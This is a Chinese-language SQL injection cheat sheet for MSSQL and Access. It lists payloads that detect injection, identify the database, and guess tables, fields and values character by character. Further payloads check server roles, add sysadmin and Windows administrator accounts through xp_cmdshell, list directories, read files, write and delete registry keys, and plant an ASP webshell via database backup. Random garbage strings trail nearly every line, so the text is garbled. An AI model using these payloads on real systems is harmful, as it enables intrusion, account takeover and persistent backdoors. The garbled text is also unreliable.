1.判断是否有注入;and 1=1 ;and 1=2 Z^}[CQ&Am
2.初步判断是否是mssql ;and user>0 BsA'r+ho?H
E]8uj8K3]
3.注入参数是字符'and [查询条件] and ''=' k$ T
]v0Z[l>yf
4.搜索时没过滤参数的'and [查询条件] and '%25'=' zRa2iCi
S*>T%#F6Uo
5.判断数据库系统 $}r.fji,c
H]
g=(
%ok
;and (select count(*) from sysobjects)>0 mssql uO-|?{29
[=BMvP5
;and (select count(*) from msysobjects)>0 access dA (n,@{
L&y"oAp<
K,JK9)T
n((A:b
6.猜数据库 ;and (select Count(*) from [数据库名])>0 %$kd`Rl}
u]7wd3(
7.猜字段 ;and (select Count(字段名) from 数据库名)>0 w~'}uh
>d=pl}-kOQ
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 G&Dl($
J^ewG
9.(1)猜字段的ascii值(access) ~bm'i%$k
'e' p`*
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 utBrH
9PACXW0
(2)猜字段的ascii值(mssql) iF Mf[qBg
{l5fKVb\C
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 \y:48zd
~@Q]@8Tv\
10.测试权限结构(mssql) @{q<"hT
4p-"1 c$
`Fo/RZOW
b=1E87i@W
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- zRD-[Z/-
'fGKRd|)
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- >p@b$po
)gSqO{Z
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- j*gJP
!
qbeUc5`1
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- Uavl%Q
aA52Li
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- S4 Uu/EX6S
OqDP{X:
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- fglfnx0{
Fz,jnV9=j
;and 1=(select IS_MEMBER('db_owner'));-- Y1I)w^}:
<=&$+3r
/z4c>)fV
ZK'46lh
11.添加mssql和系统的帐户 <{bxOr+
|u^S}"@3sU
;exec master.dbo.sp_addlogin username;-- ?#xm6oe#aH
;exec master.dbo.sp_password null,username,password;-- z8awND
AQ@)'
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 9QLG:(~;
-qDqJ62mC
;exec master.dbo.xp_cmdshell 'net user username password r>FwJm!
oV0 45G
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- ls:oC},p*
]q{_i
;exec master.dbo.xp_cmdshell 'net user username password /add';-- NT.#U?9c
kt)Et
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- \q1tT!]
6{]F#ig=
F[Mwd &P@
cI\[)5&
12.(1)遍历目录 J|f29B-c
o4WQA"VxM
;create table dirs(paths varchar(100), id int) ?l?l<`sTO
dGBjV #bNT
;insert dirs exec master.dbo.xp_dirtree 'c:\' v{ >3)$1
15Mtlb
;and (select top 1 paths from dirs)>0 X\P%C
"Mj#P9
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) . waw=C
VnsV&cx
;un@E:
77O$^fG2
(2)遍历目录 2 wY|E<E
`hj,rF+4
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- b~,e(D9DG
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ai sa2#
{+WY,%e
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 ^BA%]pe$I
. &j+&
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 } jJKE
t!qLgJ5%y
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 x5Lbe5/P
f_S$CFa@
@}d;-m~
PO"lY'W.U
13.mssql中的存储过程 y ;[~(Yg[
w!20
xp_regenumvalues 注册表根键, 子键 3tTOs
-/JEKwc
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 .u&xo{$'dS
hYkkr&
xp_regread 根键,子键,键值名 /#Aw7F$Ey
V'XEz;Ze
;exec xp_regread O0qG
6a
<@.e.H
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 I
</P_:4G
imYfRi=$
xp_regwrite 根键,子键, 值名, 值类型, 值 xO )c23Z)]
M
co:eE
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 F5Xb_&
s0?'mC+p
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 _:m70%i
y 9]d{:9
xp_regdeletevalue 根键,子键,值名 ,_kw}_n=
Zt3sU_
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 pKc!sdC
8/aJ4w[A
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 gLv+L]BnhH
|:R\j0t
<=7nTcO~
HqWWWCWal
14.mssql的backup创建webshell 6LDZ|K@
CqnHh@]nu
use model Pw<?Dw]m
71nZi`AR
create table cmd(str image); m0bxVV^DK!
3HrG^/
insert into cmd(str) values (''); Z?o0Q\}1
u;q
Q/Ftb
backup database model to disk='c:\l.asp'; |D)CAQn,
Imhk U%
e#;43=/Ia
E D>7
15.mssql内置函数 [}4zqY{
fxcE1=a
;and (select @@version)>0 获得Windows的版本号 R@3HlGuRKw
$l7}e=1
;and user_name()='dbo' 判断当前系统的连接用户是不是sa SSF:PTeG>
lu{
*]!
;and (select user_name())>0 爆当前系统的连接用户 7I[[S!((s
N9/k`ZGC
;and (select db_name())>0 得到当前连接的数据库 0OHXg=
RkG?R3e
*,X)tZ6VX
.@&FJYkLYi
16.简洁的webshell >V(C>^%->
h/\v+xiF
use model KJT N"hF
uY~mi9E
create table cmd(str image); c/K#W$ l
U=D;CjAh
insert into cmd(str) values (''); l5w^rj
YeOn
backup database model to disk='g:\wwwtest\l.asp';